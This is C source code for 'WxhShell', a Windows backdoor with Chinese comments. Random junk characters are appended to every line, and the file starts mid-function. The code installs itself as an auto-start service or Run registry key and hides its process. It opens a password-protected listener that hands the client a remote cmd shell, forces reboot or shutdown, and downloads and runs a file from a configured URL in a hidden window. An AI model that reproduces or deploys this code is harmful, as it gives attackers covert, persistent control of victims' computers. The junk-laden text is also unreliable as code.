    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^{-Z3Yxd  
    if(Boot(SHUTDOWN)) TH+TcYqO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 gwEr170  
    else { QtOT'<2t]  
    closesocket(wsh);  FO qD  
    ExitThread(0); oSP^ .BJ$  
    } ~P9^4  
    break; ]kH8T'  
    } [8[`V)b  
  // 获取shell x!UGLL]_M  
  case 's': { 7Y^2JlZu=  
    CmdShell(wsh); 7gt%[r M  
    closesocket(wsh); ET|4a(x  
    ExitThread(0); T7*p! 0  
    break; )lVplAhZD  
  } @T{I;8S  
  // 退出 B|rf[EI>  
  case 'x': { 5I5#LQv0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (M%ZSF V  
    CloseIt(wsh); 8FBXdk?A  
    break; Mey=%Fv  
    } o [nr)  
  // 离开 _?9|,  
  case 'q': { 9Oc(Gl5az  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TzsNhrU{  
    closesocket(wsh); R<ZyP~  
    WSACleanup(); $p.0[A(N  
    exit(1); '>UQsAvm  
    break; RZI4N4o  
        } lLuAgds`  
  } y-vB C3  
  } [1.>9ngj  
+p &$`(  
  // 提示信息 uh~,>~a|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M"z3F!-j  
} y3mJO[U0 a  
  } 1.q a//'RW  
6s&%~6J,  
  return; O%busM$P)/  
} )cxML<j'  
4CioVQdj  
// shell模块句柄 8f-B-e?k  
int CmdShell(SOCKET sock) > 0NDlS%Q:  
{ Z~ {[YsG  
STARTUPINFO si; ZbLN:g}  
ZeroMemory(&si,sizeof(si)); SR&'38UCe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^+Stvj:N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FLOSdMYdw  
PROCESS_INFORMATION ProcessInfo; ~er4w+"  
char cmdline[]="cmd"; M9dUo7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <}^l MBa  
  return 0; K7gqF~5x~  
} j{;IiVHnR  
;PG,0R`Z;  
// 自身启动模式 L9(!L$  
int StartFromService(void) \J3n[6;  
{ # >L^W7^  
typedef struct 99..]  
{ ~:lN("9OI  
  DWORD ExitStatus; p+d?k"WN?  
  DWORD PebBaseAddress; >Y[nU~w  
  DWORD AffinityMask; N"#=Q=)x  
  DWORD BasePriority; !JVpR]lWS  
  ULONG UniqueProcessId; b0"R |d[i  
  ULONG InheritedFromUniqueProcessId; 0`l(c  
}   PROCESS_BASIC_INFORMATION; 4+_r0  
V61.UEN  
PROCNTQSIP NtQueryInformationProcess; m;"dLUb  
q<*UeyE S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S) [$F}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ti^msC8e  
w0N8a%  
  HANDLE             hProcess; ia}V8i  
  PROCESS_BASIC_INFORMATION pbi; $mp'/]  
3"J85V%h]n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G Za<  
  if(NULL == hInst ) return 0; V;-YM W  
$*[-kIy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nI6[y)j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KQ(7%W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }c~o3t(7`b  
X6g{qzHg_  
  if (!NtQueryInformationProcess) return 0; woCFkO;'O  
juc;]CHt'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |&]04  
  if(!hProcess) return 0; A#P]|i  
SYsbe 5j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IrZ!.5%tV  
J|A:C[7 2  
  CloseHandle(hProcess); 9!06R-h  
7v^V]&&s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o1(?j}:c|  
if(hProcess==NULL) return 0; D-IXO @x  
%+,7=Wt-  
HMODULE hMod; pZv>{=2hOS  
char procName[255]; 3l8k O  
unsigned long cbNeeded; AT%@T|  
P<<hg3@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %[9d1F 3  
?g21U97Q  
  CloseHandle(hProcess); uNn]hl|x  
c/q -WEKL  
if(strstr(procName,"services")) return 1; // 以服务启动 *?GV(/Q  
uqg#(ADy?R  
  return 0; // 注册表启动 f\~OG#AaX  
} ;^K4kK&f  
yj48GQP]  
// 主模块 jZ8#86/#{  
int StartWxhshell(LPSTR lpCmdLine) dLs40 -R  
{ rcWr0q  
  SOCKET wsl; J^R#  
BOOL val=TRUE; jml 4YaGZ  
  int port=0; ~J Xqyw}  
  struct sockaddr_in door; ]"Qm25`Qz  
UmRI! WQl  
  if(wscfg.ws_autoins) Install(); rprtp5Cg  
!}gC0dJ  
port=atoi(lpCmdLine); # ~SQujgB  
[e:mRMi  
if(port<=0) port=wscfg.ws_port; `f9I#B  
x*" 0dYH  
  WSADATA data; ^Cs5A0xo#s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E9L)dMZSpj  
D/$$"AT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %0z&k!P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3 oG5E"G  
  door.sin_family = AF_INET; I<'wZJRRa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `n# {}%  
  door.sin_port = htons(port); 5+gSpg]i  
-2dk8]KB]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JDyP..Dt  
closesocket(wsl); nzdJ*C  
return 1; IfH*saN7  
} h7( R/Rf  
xt%-<%s%f  
  if(listen(wsl,2) == INVALID_SOCKET) {  !XvQm*1  
closesocket(wsl); 1%?J l~M  
return 1; ?~;8Y=O  
} bk**% ]  
  Wxhshell(wsl); 2\Vzfca  
  WSACleanup();  vj+x(  
p#~Dq(Q  
return 0; Wn(pz)+Y  
_7AR2  
} w!0`JPu  
Qz+hS\yx  
// 以NT服务方式启动 O43emL3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +w ;2kw  
{ [dK5kO  
DWORD   status = 0; j0p'_|)(  
  DWORD   specificError = 0xfffffff; z*cC2+R}=  
Ix;9D'^}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >i>%@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !+;'kI2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H5f>Q0jq  
  serviceStatus.dwWin32ExitCode     = 0; .e $W(}  
  serviceStatus.dwServiceSpecificExitCode = 0; IpX>G]"-C  
  serviceStatus.dwCheckPoint       = 0; v'"0Ya  
  serviceStatus.dwWaitHint       = 0; < p<J;@  
*CHLs^)   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kxJ! #%w  
  if (hServiceStatusHandle==0) return; ##gq{hgjb$  
XY[uyR4Z  
status = GetLastError(); .^<4]  
  if (status!=NO_ERROR) x \.q zi  
{ 0] 'Bd`e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `u%`N j  
    serviceStatus.dwCheckPoint       = 0; T+_pmDDN  
    serviceStatus.dwWaitHint       = 0; Hshm;\'  
    serviceStatus.dwWin32ExitCode     = status; ,)u\G(N  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZGUhje!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jY>BU&  
    return; X>C l{.  
  } 1}A1P&2>  
orB8q((  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K&zp2V  
  serviceStatus.dwCheckPoint       = 0; $ e<&7  
  serviceStatus.dwWaitHint       = 0; tta\.ic  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nE!h&}(  
} g$c\(isY;  
VCzmTnD  
// 处理NT服务事件,比如:启动、停止 4ZY0!'be-R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >z'kCv  
{ [whX),3>  
switch(fdwControl) d4Y8q1  
{ &,pL3Qos  
case SERVICE_CONTROL_STOP: "0JG96&\  
  serviceStatus.dwWin32ExitCode = 0; "*E#4e[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <!ewb=[_$  
  serviceStatus.dwCheckPoint   = 0; /&g5f4[|p  
  serviceStatus.dwWaitHint     = 0; 'l+).},  
  { T %   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1'c  
  } }P8@\2@=T  
  return; %SW"{GnO ^  
case SERVICE_CONTROL_PAUSE: }bQqln)#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D^+#RR'#,  
  break; ^oNk}:>  
case SERVICE_CONTROL_CONTINUE: DYS|"tSk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l+e L:C!  
  break; a2l\B~n  
case SERVICE_CONTROL_INTERROGATE: N# o" W  
  break; 95Q{d'&  
}; N*~G ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! &f(X s  
} Lq#>N_72W0  
A#:5b5R  
// 标准应用程序主函数 9G7lPK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f9A^0A?c  
{ )sWC5\  
OGgP~hd  
// 获取操作系统版本 ;J"b%~Gn  
OsIsNt=GetOsVer(); 7_,)"J2^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [nQ<pTg~r  
L B:wo .X  
  // 从命令行安装 cR 0+`&  
  if(strpbrk(lpCmdLine,"iI")) Install(); &X 0qH8W  
$ b Q4[  
  // 下载执行文件 O gQE1{C  
if(wscfg.ws_downexe) { iHKWz)0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P<AN`un  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8mM^wT  
} &"^,Ubfcn"  
3GkVMYI  
if(!OsIsNt) { 7x *]  
// 如果时win9x,隐藏进程并且设置为注册表启动 01md@4NQ  
HideProc(); .Rq|F  
StartWxhshell(lpCmdLine); 9UD~$_<\  
} jl# )CEx  
else aE0yO#=   
  if(StartFromService()) >P7|-bV  
  // 以服务方式启动 iV8j(HV  
  StartServiceCtrlDispatcher(DispatchTable); s`2Hf&%aZJ  
else ZqaCe>  
  // 普通方式启动 &%QtUPvr9  
  StartWxhshell(lpCmdLine); YG<7Zv  
O=wA/T=w?  
return 0; 1-.UkdZ}  
} 6 /T_+K.k  
K 2J DG.<  
Fs rGI (x?  
^MPl wx  
=========================================== VH3 j  
Yrb[:;Y  
PqMU&H_  
2+pLDIIT  
m7z6c"?lB  
rSU%!E+|<  
" Z_&6 <1,H  
SooSOOAx[  
#include <stdio.h> ndRy&[f7  
#include <string.h> Z{/0 P  
#include <windows.h> 't3/< h<  
#include <winsock2.h> K9Dxb  
#include <winsvc.h> q|)8VmVV  
#include <urlmon.h> KL]@y!QU  
Bor_Kib  
#pragma comment (lib, "Ws2_32.lib")  :~JgB  
#pragma comment (lib, "urlmon.lib") o ~"?K2@T  
#&vP(4p  
#define MAX_USER   100 // 最大客户端连接数 lUXxpv1m  
#define BUF_SOCK   200 // sock buffer Bfw]#"N`  
#define KEY_BUFF   255 // 输入 buffer f`@$ saFD  
/I~iUND"G  
#define REBOOT     0   // 重启 @;m7u  
#define SHUTDOWN   1   // 关机 ;c"T#CH.  
2T!pFcc  
#define DEF_PORT   5000 // 监听端口 ^S*~<0NQ'  
<TmMUA)`}  
#define REG_LEN     16   // 注册表键长度 &mj98  
#define SVC_LEN     80   // NT服务名长度 :AYp{"{  
)&[S*g  
// 从dll定义API Kx.I'_Qk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `mV&[`NZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /5:C$ik  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k mjSSh/t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q:$<`K4)  
Ij>IL!  
// wxhshell配置信息 qX[a\HQa  
struct WSCFG { % ;R&cSZ  
  int ws_port;         // 监听端口 =au!rda  
  char ws_passstr[REG_LEN]; // 口令 I{WP:]"Yf  
  int ws_autoins;       // 安装标记, 1=yes 0=no l?rLadvc  
  char ws_regname[REG_LEN]; // 注册表键名 [^bq?w  
  char ws_svcname[REG_LEN]; // 服务名 INp:;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3 =c#LUA`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Rg\4#9S JF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %.]#3tW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MP<]-M'|<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sLJ]N0t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <|?)^;R5!  
/':64#'  
}; [hpkE lE  
V=th-o3[  
// default Wxhshell configuration jpS$5Ct  
struct WSCFG wscfg={DEF_PORT, j (Q# NFT7  
    "xuhuanlingzhe", Yb_HvP  
    1, a~a:mM > p  
    "Wxhshell", Yt,MXm\  
    "Wxhshell", -sZ'<(3  
            "WxhShell Service", $F9w0kz:,*  
    "Wrsky Windows CmdShell Service", }o7-3!{L!  
    "Please Input Your Password: ", X am8h  
  1, 8 l)K3;q_  
  "http://www.wrsky.com/wxhshell.exe", <H-kR\HF  
  "Wxhshell.exe" IDD`N{EA  
    }; g\8B;  
VS ;y  
// 消息定义模块 (VI(Nv:o@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mAGD qz>f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T+zhj++  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \lQI;b;$  
char *msg_ws_ext="\n\rExit."; F?]J`F\I  
char *msg_ws_end="\n\rQuit."; XOQ0(e6  
char *msg_ws_boot="\n\rReboot..."; +/eJ#Xw3u8  
char *msg_ws_poff="\n\rShutdown..."; +J;b3UE#  
char *msg_ws_down="\n\rSave to "; #I.~+M  
m9sck:g#L1  
char *msg_ws_err="\n\rErr!"; 8v8-5N  
char *msg_ws_ok="\n\rOK!"; a73VDQr I  
F%&lM[N%  
char ExeFile[MAX_PATH]; s5+;8u9K  
int nUser = 0; KU{zzn;g  
HANDLE handles[MAX_USER]; )m8Gbkj<  
int OsIsNt; 7t#Q8u?  
517wduj  
SERVICE_STATUS       serviceStatus; 0<uLQVoR2n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ')yYpWO  
2Og5e  
// 函数声明 dMsS OP0E  
int Install(void); Sw; kUJ  
int Uninstall(void); L'`Au/%S}  
int DownloadFile(char *sURL, SOCKET wsh); p^q/u  
int Boot(int flag); dqQJC qc!  
void HideProc(void); ;Gn>W+Ae M  
int GetOsVer(void); Uf7ACv)Dn  
int Wxhshell(SOCKET wsl); P*K"0[\n  
void TalkWithClient(void *cs); TB&IB:4)R  
int CmdShell(SOCKET sock); 4VeT]`C^h  
int StartFromService(void); C@]D*k  
int StartWxhshell(LPSTR lpCmdLine); "K9[P :nw  
/=AFle2(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4|5;nxkGm8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [N~-9  
\<xo`2b  
// 数据结构和表定义 4 $Kzh  
SERVICE_TABLE_ENTRY DispatchTable[] = q27q/q8  
{ <P0 P*>M  
{wscfg.ws_svcname, NTServiceMain}, 5%QYe]D  
{NULL, NULL} {` bX*]  
}; 'WmjQsf  
U&Atgv  
// 自我安装 ujBm"p_|  
int Install(void) $0P16ZlPC  
{ j x< <h _j  
  char svExeFile[MAX_PATH]; 1R*;U8?  
  HKEY key; JBOU$A ~  
  strcpy(svExeFile,ExeFile); "SQyy  
KVEc:<|x  
// 如果是win9x系统,修改注册表设为自启动 VSCKWYy  
if(!OsIsNt) { v^Fu/Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >c Tt2v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yil5 aUA  
  RegCloseKey(key); bf1$:09  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5eF tcK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dQ_'8 )  
  RegCloseKey(key); *KiY+_8>  
  return 0; G)b:UJa"  
    } ^{0*?,-x  
  } *0L3#. i  
} 8dt=@pwx&  
else { edpRx"_  
7.2!g}E  
// 如果是NT以上系统,安装为系统服务 wouk~>Jft  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vlDA/( &  
if (schSCManager!=0) &6Lh>n(  
{ QKvaTy#  
  SC_HANDLE schService = CreateService P92pQ_W  
  ( *>W6,F7  
  schSCManager, 7J$rA.tu  
  wscfg.ws_svcname, vfhoN]v  
  wscfg.ws_svcdisp, *M:p[.=1  
  SERVICE_ALL_ACCESS, 4XJ']M(5;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a5pM~.]  
  SERVICE_AUTO_START, .),9a,  
  SERVICE_ERROR_NORMAL, F >n_k  
  svExeFile, {(F}SF{  
  NULL, QJR},nZ3  
  NULL, ).u>%4=6  
  NULL, .Q@]+&`|}i  
  NULL, }lJ|nl`c  
  NULL }> C?Zx*  
  ); 6wq%4RI0  
  if (schService!=0) 7hMh%d0d(_  
  { RCK*?\m5  
  CloseServiceHandle(schService); "OkZ [E)  
  CloseServiceHandle(schSCManager); sMJa4P>O@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?aTC+\=  
  strcat(svExeFile,wscfg.ws_svcname); @ZV>Cl@%2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ga;t`5+d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r<P?F  
  RegCloseKey(key); aGE} EK}  
  return 0; >oEFuwE  
    } i{Q,>Rt  
  } tLdQO"  
  CloseServiceHandle(schSCManager); Z~|%asjFE  
} `r\/5|M  
} 6B>*v`T:  
fbah~[5}  
return 1; a~-k} G5  
} %t:13eM  
>k/ rJ[Sc  
// 自我卸载 y=SpIbn{  
int Uninstall(void) 0.(7R,-  
{ $\20Vgu<  
  HKEY key; %5Elj<eHZ  
{K/xI  
if(!OsIsNt) { EWVn*xl?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gh%dVP9B@P  
  RegDeleteValue(key,wscfg.ws_regname); ._'.F'd  
  RegCloseKey(key); Zjc 0R   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W7T2j+]  
  RegDeleteValue(key,wscfg.ws_regname); &&96kg3  
  RegCloseKey(key); Fj <a;oV  
  return 0; 3%N!omAe  
  } >-`-D=!V  
} 3|/zlKZz  
} 7#26Smv  
else { 6WLq>Jo  
!JjNm*F[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }\ya6Gi8  
if (schSCManager!=0) hN;$'%^  
{ h61BIc@>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9\6ZdnEKu,  
  if (schService!=0) 7 /DDQ  
  { P[Id[}5Pw  
  if(DeleteService(schService)!=0) { [Ue"#w  
  CloseServiceHandle(schService); R&L^+?  
  CloseServiceHandle(schSCManager); Iw</X}#\  
  return 0; l9NET  
  } F4&`0y:  
  CloseServiceHandle(schService); nqib`U@"  
  } Aq&H-g]s  
  CloseServiceHandle(schSCManager); )TkXdA?.  
} ;5aAnvgW  
} .+`Z:{:BC&  
R"JT+m  
return 1; t^<ki?*  
} XZpF<7l  
Uv=hxV[7y  
// 从指定url下载文件 Sh o] ~)XX  
int DownloadFile(char *sURL, SOCKET wsh) 9%bqY9NFd  
{ 6vZ.CUK9  
  HRESULT hr; ^36m$J$  
char seps[]= "/"; ?_G?SQ  
char *token; !K_ ke h  
char *file; rp,PhS  
char myURL[MAX_PATH];  DE14dU  
char myFILE[MAX_PATH]; X&bnyo P  
*Zk$P.]  
strcpy(myURL,sURL); 7T9Mo .  
  token=strtok(myURL,seps); sQr |3}I(  
  while(token!=NULL) t3FfPV!P"  
  { ch:0qgJ  
    file=token; mM;p 7 sJ  
  token=strtok(NULL,seps); /-&a]PJ  
  } H7R6Ljd?&S  
PLDp=T%  
GetCurrentDirectory(MAX_PATH,myFILE); `]l*H3+hg  
strcat(myFILE, "\\"); |H@1g=q  
strcat(myFILE, file); AU/L_hg  
  send(wsh,myFILE,strlen(myFILE),0); BJI"DrF  
send(wsh,"...",3,0); jMB&(r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xO` O$ie  
  if(hr==S_OK) v`KYhqTUl  
return 0; ^# gR"\F`d  
else CLX!qw]@ +  
return 1; ;chz};zY  
j5qrM_Chg  
} x $ oId{;  
)M(-EDL>Qk  
// 系统电源模块 BjyGk+A   
int Boot(int flag) ;Jq 7E  
{ C@Fk  
  HANDLE hToken; zd+<1R;  
  TOKEN_PRIVILEGES tkp; auV<=1<zJ  
%I6c}*W  
  if(OsIsNt) { Vy giR|f-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b63tjqk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !XJS"owr  
    tkp.PrivilegeCount = 1; ?#rejA:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &>&UqWL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :#=XT9  
if(flag==REBOOT) { ES&"zjr$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yG<`7v  
  return 0; BLs kUrPF  
} Q-M"+HO  
else { C:WXI;*cr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |X$O'Gf#n  
  return 0; u= u#6%  
} 20XN5dTFT  
  } C0$KpUB  
  else { OcWzo#q4[  
if(flag==REBOOT) { O0VbKW0h3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FV->226o%  
  return 0; |wFfVDp  
} fxKhe[;  
else { k;bdzcMkQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `/0S]?a.{B  
  return 0; R;68C6 4  
} )Kw Gb&l&  
} E 9LKVs}  
);zLy?n  
return 1; I Y='tw  
}  *Fe  
U)n+j}vi  
// win9x进程隐藏模块 lS.&>{  
void HideProc(void) (` N@4w=  
{ /d\#|[S  
Pl}>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ca},tov&  
  if ( hKernel != NULL ) Hmi]qK[F  
  { 3{wmKo|_X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .(7 end<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O~1vX9  
    FreeLibrary(hKernel); yp}a&Dg  
  } hZ ve8J  
kDz!v?Z2+B  
return; tTzPT<  
} m1mA:R\zM  
>*hY1@N1  
// 获取操作系统版本 ;c!}'2>vM  
int GetOsVer(void) +NH#t} .  
{ j~IX  
  OSVERSIONINFO winfo; w[bhm$SX]B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tocZO  
  GetVersionEx(&winfo); ># {,(8\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t=IpV l!  
  return 1; |N{?LKR %  
  else Vl0 J!JK_  
  return 0; VhWF(*  
} nbVlP  
<d$L}uQwg  
// 客户端句柄模块 01 vEt  
int Wxhshell(SOCKET wsl) [HV>4,,3"  
{ =sR]/XSK  
  SOCKET wsh; 4!%TY4 bJ  
  struct sockaddr_in client; errT7&@,A  
  DWORD myID; $!(J4v=X  
S-M| 6fv  
  while(nUser<MAX_USER) &_L FV@/  
{ 0nh;0Z  
  int nSize=sizeof(client); Jj~c&LxrO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <rO0t9OH  
  if(wsh==INVALID_SOCKET) return 1; DQ<{FN  
DH#n7s'b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "I)*W8wTn  
if(handles[nUser]==0) F|eKt/>e  
  closesocket(wsh); v-V#?+#  
else DPU%4te  
  nUser++; AjTkQ)  
  } k,~I>qg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0X`sQNx  
$yZ(c#L  
  return 0; j2U iZLuV  
} nK@RFU6  
#s'UA!)  
// 关闭 socket +w(sDH~kd  
void CloseIt(SOCKET wsh) +YL9gNN>P  
{ {Z529Ns  
closesocket(wsh); nX@lR~g%F  
nUser--; ~f.fg@v`+v  
ExitThread(0); Px!M^ T!Pi  
} qoNVp7uv  
X-tc Ud  
// 客户端请求句柄 .,)C^hs@  
void TalkWithClient(void *cs) yFIB/ln:  
{ {^r8uKo:~  
M![aty@  
  SOCKET wsh=(SOCKET)cs; X3z$f(lF%)  
  char pwd[SVC_LEN]; tWs ]Zd  
  char cmd[KEY_BUFF]; 52*9q!  
char chr[1]; #cN0ciCT'  
int i,j; e|`QW|9 .  
.RI{\i`  
  while (nUser < MAX_USER) { !+& Rn\e%7  
N36<EHq  
if(wscfg.ws_passstr) { R]0p L   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X*Ibk-PUM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &"D *  
  //ZeroMemory(pwd,KEY_BUFF); Ueq*R(9>  
      i=0; +=XDNSw  
  while(i<SVC_LEN) { ?2Q9z-$  
3DNw=Ic0k  
  // 设置超时 =%p%+F@RlW  
  fd_set FdRead; =hs !t|(*  
  struct timeval TimeOut; y"|QY!fK  
  FD_ZERO(&FdRead); X8F@U ^@  
  FD_SET(wsh,&FdRead); J! ;g.q  
  TimeOut.tv_sec=8; x%acWeV5  
  TimeOut.tv_usec=0; /H_,1Fu|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '$5.{o`s*1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N5 BC<pu  
K#j<G]I( @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '#~$Od4&=  
  pwd=chr[0]; CNC3">Dk~9  
  if(chr[0]==0xd || chr[0]==0xa) { @a AR99M  
  pwd=0; B8+J0jdg6%  
  break; >900I4]I  
  } K;%P_f/KJP  
  i++; }GIwYh/  
    } )7U^&I,  
v/n4Lp$W^  
  // 如果是非法用户,关闭 socket %SKp<>;9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e rz9CX  
} m/,.3v  
_:hrm%^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hdL/zW7]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T#;W5<"  
Xb0$BAP  
while(1) { up[9L|  
uSZCJ#'G  
  ZeroMemory(cmd,KEY_BUFF); ~H[  
\Tf$i(0q  
      // 自动支持客户端 telnet标准   /.Yf&2X\  
  j=0; q=NI}k  
  while(j<KEY_BUFF) { CqMm'6;$a}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U(lcQC`$  
  cmd[j]=chr[0];  1 &24:&  
  if(chr[0]==0xa || chr[0]==0xd) { T&M*sydA  
  cmd[j]=0; [E9V#J89  
  break; Y ^s_v_s  
  } S6k R o^2  
  j++; y v6V1gK  
    } F32N e6Y6"  
\Wdl1 =`  
  // 下载文件 XRZj+muTZ  
  if(strstr(cmd,"http://")) { -6 WjYJx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (mO{ W   
  if(DownloadFile(cmd,wsh)) ?hqHTH:PU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~UrKyA  
  else 9YpgzCx Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j -l#n&M  
  } ``;.Oy6jS  
  else { p>4tPI}bf  
